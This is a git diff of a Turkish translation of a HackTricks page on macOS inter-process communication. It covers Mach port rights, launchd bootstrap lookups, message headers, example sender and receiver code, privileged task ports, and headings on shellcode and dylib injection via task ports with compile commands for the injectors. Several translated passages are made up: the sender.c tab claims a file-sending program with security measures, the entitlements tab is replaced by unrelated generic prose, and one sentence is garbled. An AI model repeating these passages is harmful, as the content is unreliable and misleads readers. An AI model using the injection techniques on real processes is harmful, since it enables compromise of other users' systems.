üzerinde Alma hakkına sahiptir**. +* **Alma hakkı**, porta gönderilen mesajları almayı sağlar. Mach portları, MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da demektir ki tüm sistemde bir port için yalnızca **bir alma hakkı olabilir** (borular gibi, birden fazla işlem, bir borunun okuma ucuna ait dosya tanımlayıcılarını tutabilir). +* **Alma hakkına sahip bir görev**, mesajları alabilir ve **Gönderme hakları oluşturabilir**, böylece mesaj gönderebilir. Başlangıçta yalnızca **kendi görevi, portunun üzerinde Alma hakkına sahiptir**. * **Gönderme hakkı**, porta mesaj göndermeyi sağlar. -* Gönderme hakkı **kopyalanabilir**, böylece Gönderme hakkına sahip bir görev hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**. -* **Bir kez gönderme hakkı**, bir mesajı porta göndermeyi ve ardından kaybolmayı sağlar. +* Gönderme hakkı **kopyalanabilir**, böylece Gönderme hakkına sahip bir görev, hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**. +* **Bir kez gönderme hakkı**, porta bir mesaj göndermeyi ve ardından kaybolmayı sağlar. * **Port kümesi hakkı**, bir _port kümesini_ değil tek bir portu belirtir. Bir port kümesinden bir mesaj çıkarmak, içerdiği portlardan birinden bir mesaj çıkarır. Port kümeleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi aynı anda birkaç porta dinlemek için kullanılabilir. * **Ölü ad**, gerçek bir port hakkı değil, yalnızca bir yer tutucudur. Bir port yok edildiğinde, portun tüm var olan port hakları ölü adlara dönüşür. -**Görevler, SEND haklarını başkalarına aktarabilir**, böylece onlara geri mesaj gönderme yeteneği kazandırabilir. **SEND hakları da klonlanabilir**, böylece bir görev hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**. Bu, **aracı bir süreç olan başlangıç sunucusu** ile birlikte, görevler arasında etkili iletişim sağlar. +**Görevler, SEND haklarını başkalarına aktarabilir**, böylece onlara geri mesaj gönderme yetkisi verilebilir. **SEND hakları da klonlanabilir**, böylece bir görev hakkı çoğaltabilir ve üçüncü bir göreve verebilir. Bu, **aracı bir süreç olan başlangıç sunucusu** ile birlikte, görevler arasında etkili iletişim sağlar. ### Dosya Portları -Dosya portları, dosya tanımlayıcılarını Mac portlarına (Mach port haklarını kullanarak) kapsüllüyebilir. Belirli bir FD'den `fileport_makeport` kullanarak bir `fileport` oluşturmak ve bir FD'yi bir fileport'tan `fileport_makefd` kullanarak oluşturmak mümkündür. +Dosya portları, dosya tanımlayıcılarını Mac portlarına (Mach port hakları kullanarak) kapsüllüyebilir. Belirli bir FD'den `fileport_makeport` kullanarak bir `fileport` oluşturmak ve bir FD'yi bir fileport'tan `fileport_makefd` kullanarak oluşturmak mümkündür. ### İletişim Kanalı Kurma #### Adımlar: -İletişim kanalını kurmak için **başlangıç sunucusu** (**mac**'de **launchd**) devreye girer. +İletişim kanalını kurmak için **başlangıç sunucusu** (**mac**'te **launchd**) devreye girer. 1. Görev **A**, bir **yeni port başlatır** ve işlemde bir **ALMA hakkı alır**. -2. ALMA hakkına sahip olan Görev **A**, port için bir **GÖNDERME hakkı oluşturur**. -3. Görev **A**, **başlangıç sunucusu** ile bir **bağlantı kurar** ve **portun hizmet adını** ve **GÖNDERME hakkını** sağlar, bu işlem **başlangıç kaydı** olarak bilinen bir prosedür aracılığıyla gerçekleşir. -4. Görev **B**, hizmet adı için bir başlangıç **araması yapmak üzere başlangıç sunucusu** ile etkileşime girer. Başarılı olursa, **sunucu Görev A'dan aldığı GÖNDERME hakkını kopyalar ve Görev B'ye iletir**. +2. ALMA hakkının sahibi olan Görev **A**, port için bir **GÖNDERME hakkı oluşturur**. +3. Görev **A**, **başlangıç sunucusu** ile bir **bağlantı kurar** ve **portun hizmet adını** ve **GÖNDERME hakkını** sağlar, bu işlem başlangıç kaydı olarak bilinen bir prosedür aracılığıyla gerçekleşir. +4. Görev **B**, hizmet adı için bir başlangıç **araması yapmak** için **başlangıç sunucusu** ile etkileşime girer. Başarılı olursa, **sunucu Görev A'dan aldığı GÖNDERME hakkını kopyalar ve Görev B'ye iletir**. 5. Bir GÖNDERME hakkı elde ettikten sonra, Görev **B**, bir **mesaj oluşturabilir** ve bunu **Görev A'ya gönderebilir**. 6. İki yönlü bir iletişim için genellikle görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı içeren yeni bir port oluşturur ve **Görev A'ya GÖNDERME hakkını verir** böylece Görev A, GÖREV B'ye mesaj gönderebilir (iki yönlü iletişim). -Başlangıç sunucusu, bir görevin iddia ettiği hizmet adını **kimlik doğrulayamaz**. Bu, bir görevin potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir, örneğin yanlışlıkla **bir yetkilendirme hizmet adını iddia edebilir ve ardından her isteği onaylayabilir**. +Başlangıç sunucusu, bir görevin iddia ettiği hizmet adını doğrulayamaz. Bu, bir **görevin** potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir, örneğin yanlışlıkla **bir yetkilendirme hizmet adını iddia edebilir ve ardından her isteği onaylayabilir**. -Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar. Bu dosyalar, **SIP korumalı** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adının yanında, **ilişkili ikili de saklanır**. Başlangıç sunucusu, bu hizmet adları için her biri için bir **ALMA hakkı oluşturur ve saklar**. +Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar. Bu dosyalar, **SIP korumalı** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adının yanında, **ilişkili ikili dosya da saklanır**. Başlangıç sunucusu, bu hizmet adları için her biri için bir **ALMA hakkı oluşturur ve saklar**. Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı aranırken, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şöyle işler: -* Görev **B**, bir hizmet adı için başlangıç **araması başlatır**. +* Görev **B**, bir hizmet adı için bir başlangıç **araması başlatır**. * **launchd**, görevin çalışıp çalışmadığını kontrol eder ve çalışmıyorsa, **başlatır**. * Görev **A** (hizmet), bir **başlangıç kontrolü** gerçekleştirir. Burada, **başlangıç sunucusu bir GÖNDERME hakkı oluşturur, saklar ve ALMA hakkını Görev A'ya aktarır**. * launchd, **GÖNDERME hakkını kopyalar ve Görev B'ye iletir**. @@ -73,7 +74,7 @@ Ancak, bu süreç yalnızca önceden tanımlanmış sistem görevleri için geç ### Bir Mach Mesajı -[Daha fazla bilgi için buraya bakın](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) +[Daha fazla bilgi burada bulunabilir](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) `mach_msg` işlevi, temelde bir sistem çağrısı olan Mach mesajlarını göndermek ve almak için kullanılır. İşlev, gönderilecek mesajı ilk argüman olarak gerektirir. Bu mesaj, bir `mach_msg_header_t` yapısı ile başlamalı ve ardından gerçek mesaj içeriği gelmelidir. Yapı aşağıdaki gibi tanımlanmıştır: ```c @@ -86,20 +87,20 @@ mach_port_name_t msgh_voucher_port; mach_msg_id_t msgh_id; } mach_msg_header_t; ``` -İşlemci, bir Mach bağlantı noktasında mesaj alabilen bir _**alma hakkına sahipse**_. Tersine, **gönderenler** bir _**gönderme**_ veya _**bir kez gönderme hakkı**_ verilir. Bir kez gönderme hakkı yalnızca bir mesaj göndermek için kullanılır, ardından geçersiz hale gelir. +İşlemciye sahip olan bir _**alma hakkına**_ sahip olan işlemler, bir Mach bağlantı noktasında mesaj alabilirler. Tersine, **gönderenler** bir _**gönderme**_ veya _**bir kez gönderme hakkı**_ verilir. Bir kez gönderme hakkı yalnızca bir mesaj göndermek için kullanılır, ardından geçersiz hale gelir. -Kolay **iki yönlü iletişim** sağlamak için bir işlem, **yanıt bağlantı noktası** olarak adlandırılan bir Mach **mesaj başlığında bir mach bağlantı noktası** belirtebilir (**`msgh_local_port`**), mesajın **alıcısı** bu mesaja bir yanıt gönderebilir. **`msgh_bits`** içindeki bit bayrakları, bu bağlantı noktası için bir **bir kez gönderme hakkı** türetilip aktarılması gerektiğini **belirtmek** için kullanılabilir (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). +Kolay bir **çift yönlü iletişim** sağlamak için bir işlem, **yanıt bağlantı noktasını** (**`msgh_local_port`**) içeren mach **mesaj başlığı** nda bir **mach bağlantı noktası** belirtebilir, böylece mesajın **alıcısı** bu mesaja bir yanıt gönderebilir. **`msgh_bits`** içindeki bit bayrakları, bu bağlantı noktası için bir **bir kez gönderme hakkı** türetilip aktarılması gerektiğini **belirtmek** için kullanılabilir (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). {% hint style="success" %} -Bu tür iki yönlü iletişimin XPC mesajlarında kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak genellikle farklı bağlantı noktaları oluşturmak için önceki açıklamalarda açıklandığı gibi iki yönlü iletişim oluşturulur. +Bu tür çift yönlü iletişimin XPC mesajlarında kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak genellikle çift yönlü iletişimi oluşturmak için önceden açıklanan şekilde **farklı bağlantı noktaları oluşturulur**. {% endhint %} Mesaj başlığının diğer alanları şunlardır: -- `msgh_size`: tüm paketin boyutu. -- `msgh_remote_port`: bu mesajın gönderildiği bağlantı noktası. -- `msgh_voucher_port`: [mach fişleri](https://robert.sesek.com/2023/6/mach\_vouchers.html). -- `msgh_id`: bu mesajın kimliği, alıcı tarafından yorumlanır. +* `msgh_size`: tüm paketin boyutu. +* `msgh_remote_port`: bu mesajın gönderildiği bağlantı noktası. +* `msgh_voucher_port`: [mach fişleri](https://robert.sesek.com/2023/6/mach\_vouchers.html). +* `msgh_id`: bu mesajın kimliği, alıcı tarafından yorumlanır. {% hint style="danger" %} **Mach mesajlarının bir \_mach bağlantı noktası üzerinden gönderildiğini** unutmayın, bu, mach çekirdeğine yerleştirilmiş **tek alıcı**, **çoklu gönderen** iletişim kanalıdır. **Birden fazla işlem**, bir mach bağlantı noktasına **mesaj gönderebilir**, ancak herhangi bir anda yalnızca **bir işlem** ondan **okuyabilir**. @@ -109,11 +110,9 @@ Mesaj başlığının diğer alanları şunlardır: ```bash lsmp -p ``` -iOS'ta bu aracı indirerek yükleyebilirsiniz [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) - ### Kod örneği -**Gönderici**nin nasıl bir bağlantı noktası tahsis ettiğine, `org.darlinghq.example` adı için bir **gönderme hakkı** oluşturduğuna ve bunu **önyükleme sunucusuna** gönderdiğine dikkat edin, gönderici bu ad için **gönderme hakkını** istedi ve bunu kullanarak bir **mesaj gönderdi**. +**Alıcı**nın nasıl bir bağlantı noktası **ayırdığını**, `org.darlinghq.example` adı için bir **gönderme hakkı** oluşturduğunu ve bunu **önyükleme sunucusuna** gönderdiğini, gönderenin ise o ad için **gönderme hakkını** istediğini ve bunu kullanarak bir **mesaj gönderdiğini** görebilirsiniz. {% tabs %} {% tab title="receiver.c" %} @@ -184,19 +183,7 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number); ``` {% endtab %} -{% tab title="sender.c" %}Dosya Açıklaması ----------------- - -Bu dosya, bir IPC örneği için gönderici uygulamasını içerir. Bu uygulama, bir mesaj oluşturur ve bu mesajı alıcı uygulamasına iletmek için IPC kullanır. - -Kod Açıklaması --------------- - -Bu bölümde, gönderici uygulamanın kodu bulunmaktadır. Kod, bir mesaj oluşturur ve bu mesajı alıcı uygulamasına göndermek için IPC'yi kullanır. Bu işlem, inter-process communication (IPC) konseptini anlamak için yararlı bir örnektir. - -IPC, farklı süreçler arasında veri iletişimini sağlayan bir mekanizmadır. Bu örnekte, IPC kullanılarak gönderici ve alıcı uygulamalar arasında iletişim kurulmaktadır. - -Bu dosya, IPC'nin nasıl kullanılabileceğini anlamak için incelenebilir. IPC, macOS ve diğer işletim sistemlerinde yaygın olarak kullanılan bir iletişim yöntemidir. %} +{% tab title="sender.c" %}Dosya gönderme işlemi için kullanılan basit bir örnek. Bu örnek, bir dosyayı alıcıya göndermek için IPC (İşlem Arası İletişim) mekanizmasını kullanır. Bu örnekte, dosya verileri alıcıya gönderilmeden önce belleğe yüklenir ve ardından IPC ile iletilir. Bu işlem, dosya aktarımı sırasında verilerin güvenliğini sağlamak için gerekli olan bazı güvenlik önlemlerini içerir. %} ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc sender.c -o sender @@ -248,29 +235,29 @@ return 1; printf("Sent a message\n"); } ``` -### Ayrıcalıklı Bağlantı Noktaları +{% endtab %} +{% endtabs %} -- **Ana bağlantı noktası**: Bir işlem bu bağlantı noktası üzerinde **Gönderme** ayrıcalığına sahipse, **sistem** hakkında **bilgi alabilir** (örneğin, `host_processor_info`). -- **Ana ayrıcalıklı bağlantı noktası**: Bu bağlantı noktası üzerinde **Gönderme** hakkına sahip bir işlem, bir çekirdek uzantısını yükleme gibi **ayrıcalıklı işlemler** gerçekleştirebilir. Bu izne sahip olmak için **işlem root olmalıdır**. -- Ayrıca, **`kext_request`** API'sını çağırmak için yalnızca Apple ikili dosyalarına verilen **`com.apple.private.kext*`** gibi diğer ayrıcalıklara ihtiyaç vardır. -- **Görev adı bağlantı noktası**: _Görev bağlantı noktasının_ ayrıcalıksız bir sürümüdür. Görevi referans alır, ancak kontrol etmeye izin vermez. Yalnızca üzerinden `task_info()` işleviyle erişilebilecek şey budur. -- **Görev bağlantı noktası** (ayrıca çekirdek bağlantı noktası olarak da bilinir)**:** Bu bağlantı noktası üzerinde **Gönderme** izniyle görevi kontrol etmek mümkündür (belleği okuma/yazma, iş parçacıkları oluşturma...). -- **Çağıran görev için bu bağlantı noktasının adını almak** için `mach_task_self()` işlevini çağırın. Bu bağlantı noktası yalnızca **`exec()`** işlemi sırasında **miras alınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev bağlantı noktası alır (`exec()` işleminden sonra bir suid ikili dosyada bir görev de yeni bir görev bağlantı noktası alır). Bir görevi başlatmak ve bağlantı noktasını almanın tek yolu, `fork()` işlemi sırasında ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) işlemini gerçekleştirirken yapmaktır. -- Bu bağlantı noktasına erişim kısıtlamaları (binary `AppleMobileFileIntegrity` içinden `macos_task_policy` üzerinden): - - Uygulamanın **`com.apple.security.get-task-allow` ayrıcalığı** varsa, aynı kullanıcıdan işlemler görev bağlantı noktasına erişebilir (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** işlemi bunu üretim sürümlerine izin vermez. - - **`com.apple.system-task-ports`** ayrıcalığına sahip uygulamalar, çekirdek hariç olmak üzere herhangi bir işlemin **görev bağlantı noktasını alabilir**. Eski sürümlerde **`task_for_pid-allow`** olarak adlandırılıyordu. Bu yalnızca Apple uygulamalarına verilir. - - **Root**, **sıkılaştırılmış** bir çalışma zamanıyla derlenmemiş uygulamaların görev bağlantı noktalarına erişebilir (ve Apple'dan olmayan uygulamalardan). +### Ayrıcalıklı Portlar -### Görev Bağlantı Noktası Aracılığıyla İş Parçacığına Kabuk Kodu Enjeksiyonu +* **Ana bilgisayar portu**: Bir işlem bu porta **Gönderme** ayrıcalığına sahipse, **sistem** hakkında **bilgi** alabilir (ör. `host_processor_info`). +* **Ana bilgisayar ayrıcalıklı portu**: Bu porta **Gönderme** hakkı olan bir işlem, bir çekirdek uzantısını yükleme gibi **ayrıcalıklı işlemler** gerçekleştirebilir. Bu izne sahip olmak için **işlemin kök kullanıcı olması** gerekir. +* Ayrıca, **`kext_request`** API'sını çağırmak için yalnızca Apple ikili dosyalarına verilen **`com.apple.private.kext*`** gibi diğer ayrıcalıklara ihtiyaç vardır. +* **Görev adı portu:** _Görev portu_ nun ayrıcalıksız bir sürümüdür. Görevi referans alır, ancak kontrol etmeye izin vermez. Yalnızca üzerinden `task_info()` işlevi çağrılabilir gibi görünmektedir. +* **Görev portu** (aka çekirdek portu)**:** Bu porta **Gönderme** izniyle sahip olmak, görevi kontrol etmeyi mümkün kılar (belleği okuma/yazma, iş parçacığı oluşturma...). +* **Çağıran görev için bu portun adını almak** için `mach_task_self()` işlevini çağırın. Bu port yalnızca **`exec()`** işlemi sırasında **miras alınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev portu alır (`exec()` işleminden sonra bir suid ikili dosyada da özel bir durum olarak, bir görev ayrıca yeni bir görev portu alır). Bir görevi başlatmak ve portunu almanın tek yolu, `fork()` işlemi sırasında ["port takası dansını"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) gerçekleştirirken yapmaktır. +* Bu porta erişim kısıtlamaları (binary `AppleMobileFileIntegrity`'den `macos_task_policy`'den): +* Uygulamanın **`com.apple.security.get-task-allow` ayrıcalığı** varsa, aynı kullanıcıdan işlemler görev portuna erişebilir (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** işlemi bunu üretim sürümlerine izin vermez. +* **`com.apple.system-task-ports`** ayrıcalığına sahip uygulamalar, çekirdek hariç, herhangi bir işlemin **görev portunu alabilir**. Eski sürümlerde **`task_for_pid-allow`** olarak adlandırılıyordu. Bu yalnızca Apple uygulamalarına verilir. +* **Kök kullanıcı**, **sıkılaştırılmış** bir çalışma zamanı ile derlenmemiş uygulamaların görev portlarına erişebilir (ve Apple'dan olmayanlar). -Kabuk kodunu aşağıdaki yerden alabilirsiniz: +### Görev portu aracılığıyla İş Parçacığına Shellcode Enjeksiyonu + +Shellcode'u aşağıdaki yerden alabilirsiniz: {% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} [arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) {% endcontent-ref %} - -{% tabs %} -{% tab title="mysleep.m" %} ```objectivec // clang -framework Foundation mysleep.m -o mysleep // codesign --entitlements entitlements.plist -s - mysleep @@ -304,21 +291,15 @@ return 0; {% tab title="entitlements.plist" %} -### macOS IPC (İşlem Arası İletişim) +### IPC (İşlem Arası İletişim) -Bu bölümde, macOS'ta İşlem Arası İletişim (IPC) mekanizmalarını ele alacağız. IPC, uygulamalar arasında iletişim kurmak için kullanılan bir dizi tekniktir ve kötü niyetli aktörlerin saldırıları için bir hedef olabilir. macOS'ta IPC'nin nasıl çalıştığını anlamak, güvenlik açıklarını tespit etmek ve önlem almak için önemlidir. Bu bölümde, macOS IPC'nin temellerini ve güvenlik önlemlerini ele alacağız. +IPC, macOS'ta işlem arası iletişimi sağlamak için kullanılan bir mekanizmadır. Bu, uygulamalar arasında veri ve komut iletişimi sağlar. IPC, güvenlik açıklarına neden olabileceğinden, doğru şekilde yapılandırılmalı ve sınırlanmalıdır. -IPC türleri şunları içerebilir: +IPC türleri arasında XPC ve Mach IPC bulunmaktadır. XPC, Apple tarafından geliştirilen ve uygulamalar arasında iletişim sağlamak için kullanılan bir mekanizmadır. Mach IPC ise daha düşük seviyede işlem arası iletişim sağlar. -- Mach IPC -- XPC -- Distributed Objects -- Apple Events -- Distributed Notifications +Entitlements.plist dosyası, uygulamaların belirli IPC türlerine erişim izinlerini belirlemek için kullanılır. Bu dosya, uygulamanın hangi IPC türlerine erişebileceğini ve hangi sistem kaynaklarına erişebileceğini tanımlar. Doğru şekilde yapılandırılmamış bir entitlements.plist dosyası, uygulamanın güvenlik açıklarına neden olabilir ve ayrıcalık yükseltme saldırılarına yol açabilir. -Bu bölümde, her bir IPC türünü ayrıntılı olarak ele alacağız ve güvenlik önlemleri hakkında ipuçları vereceğiz. - -IPC güvenliği, macOS uygulamalarının güvenliğini artırmak için kritik bir öneme sahiptir ve kötü niyetli kullanıcıların veya yazılımın sisteme zarar vermesini engellemeye yardımcı olabilir. +Bu nedenle, IPC mekanizmalarını ve entitlements.plist dosyasını doğru şekilde yapılandırmak, macOS güvenliğini artırmak için önemlidir. {% endtab %} ```xml @@ -543,11 +524,13 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject macOS'ta **thread'ler**, **Mach** veya **posix `pthread` api** kullanılarak manipüle edilebilir. Önceki enjeksiyonda oluşturduğumuz thread, Mach api kullanılarak oluşturulduğundan **posix uyumlu değil**. -Bir komutu çalıştırmak için **basit bir shellcode enjekte etmek mümkündü** çünkü bu, **posix uyumlu api'lerle çalışmaya gerek duymuyordu**, sadece Mach ile çalışıyordu. **Daha karmaşık enjeksiyonlar** için thread'in aynı zamanda **posix uyumlu olması** gerekir. +Bir komutu çalıştırmak için **basit bir shellcode enjekte etmek mümkündü** çünkü bu, **posix uyumlu** api'lerle çalışmak zorunda değildi, sadece Mach ile çalışıyordu. **Daha karmaşık enjeksiyonlar** için thread'in aynı zamanda **posix uyumlu** olması gerekecektir. -Bu nedenle, **thread'i iyileştirmek** için **`pthread_create_from_mach_thread`** çağrılmalıdır ki bu da **geçerli bir pthread oluşturacaktır**. Sonra, bu yeni pthread, özel kütüphaneleri yüklemek için **dlopen**'ı **çağırabilir**, böylece farklı işlemler gerçekleştirmek için yeni shellcode yazmak yerine özel kütüphaneler yüklemek mümkün olacaktır. +Bu nedenle, **thread'i iyileştirmek** için **`pthread_create_from_mach_thread`** çağrısı yapılmalıdır ki bu da **geçerli bir pthread oluşturacaktır**. Sonra, bu yeni pthread, özel kütüphaneleri yüklemek için **dlopen** çağrısı yapabilir. -Örnek dylib'leri (örneğin bir log oluşturan ve ardından dinleyebileceğiniz bir tane) şurada bulabilirsiniz: +Örneğin, sistemden bir dylib yüklemek için yeni bir shellcode yazmak yerine özel kütüphaneleri yüklemek mümkündür. + +Örnek dylib'leri şurada bulabilirsiniz (örneğin bir log oluşturan ve ardından dinleyebileceğiniz bir dylib): {% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} [macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md) @@ -832,9 +815,9 @@ fprintf(stderr,"Dylib bulunamadı\n"); gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` -### Görev bağlantısı üzerinden İş Parçası Kaçırma +### Görev Bağlantısı Aracılığıyla İş Parçacığı Kaçırma -Bu teknikte, işlemin bir iş parçası kaçırılır: +Bu teknikte, bir işlemin iş parçacığı kaçırılır: {% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %} [macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md) @@ -844,9 +827,9 @@ Bu teknikte, işlemin bir iş parçası kaçırılır: ### Temel Bilgiler -XPC, macOS ve iOS üzerindeki işlemler arasındaki iletişim için bir çerçeve olan XNU (macOS tarafından kullanılan çekirdek) arasındaki İşlem İletişimi anlamına gelir. XPC, sistemin farklı işlemler arasında güvenli, asenkron yöntem çağrıları yapma mekanizması sağlar. Bu, Apple'ın güvenlik paradigmasının bir parçası olup, her bileşenin yalnızca işini yapmak için gereken izinlere sahip olarak çalıştığı ayrıcalıkların ayrıldığı uygulamaların oluşturulmasına izin verir, böylece bir işlemin tehlikeye girmesinden kaynaklanabilecek potansiyel zararı sınırlar. +XPC, macOS ve iOS'ta **işlemler arasındaki iletişim** için bir çerçevedir ve XNU (macOS tarafından kullanılan çekirdek) Arası İşletim Sistemi İletişimi anlamına gelir. XPC, sistemin farklı işlemleri arasında **güvenli, asenkron yöntem çağrıları yapma** mekanizması sağlar. Apple'ın güvenlik paradigmasının bir parçasıdır ve her **bileşenin** sadece işini yapmak için ihtiyaç duyduğu izinlere sahip olarak çalıştığı **ayrıcalıkların ayrıldığı uygulamaların oluşturulmasına** olanak tanır, böylece bir işlem etkilenirse olası zararı sınırlar. -Bu **iletişimin nasıl çalıştığı** ve **neden savunmasız olabileceği** hakkında daha fazla bilgi için kontrol edin: +Bu **iletişimin nasıl çalıştığı** ve **neden savunmasız olabileceği** hakkında daha fazla bilgi için şuraya bakın: {% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %} [macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/) @@ -854,9 +837,9 @@ Bu **iletişimin nasıl çalıştığı** ve **neden savunmasız olabileceği** ## MIG - Mach Arayüzü Oluşturucusu -MIG, Mach IPC kodu oluşturma sürecini basitleştirmek amacıyla oluşturulmuştur. Temelde, sunucu ve istemcinin belirli bir tanım ile iletişim kurması için gereken kodu oluşturur. Oluşturulan kodun çirkin olması durumunda bile, bir geliştirici sadece bunu içe aktarması ve kodu öncekinden çok daha basit hale getirecektir. +MIG, Mach IPC işlem kodu oluşturma sürecini **basitleştirmek** için oluşturulmuştur. Temelde, sunucu ve istemcinin iletişim kurması için gerekli kodu **oluşturur**. Oluşturulan kodun çirkin olması önemli değildir, geliştirici sadece bunu içe aktarması ve kodu daha öncekinden çok daha basit hale getirecektir. -Daha fazla bilgi için kontrol edin: +Daha fazla bilgi için şuraya bakın: {% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %} [macos-mig-mach-interface-generator.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md) @@ -869,17 +852,3 @@ Daha fazla bilgi için kontrol edin: * [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a) * [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) * [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) - -
- -Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! - -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek **destekleyin**. - -
diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index ee334709c..d16eb42fb 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -1,22 +1,23 @@ # macOS Sistem Uzantıları +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşmak için PR'lar göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
+{% endhint %} ## Sistem Uzantıları / Uç Nokta Güvenlik Çerçevesi -**Sistem Uzantıları**, Kernel Uzantıları'nın aksine **kullanıcı alanında çalışır**, böylece uzantı arızası nedeniyle sistem çökme riskini azaltır. +Kernel Uzantılarından farklı olarak, **Sistem Uzantıları kernel alanı yerine kullanıcı alanında çalışır**, bu da uzantı arızası nedeniyle sistem çökme riskini azaltır.
https://knight.sc/images/system-extension-internals-1.png
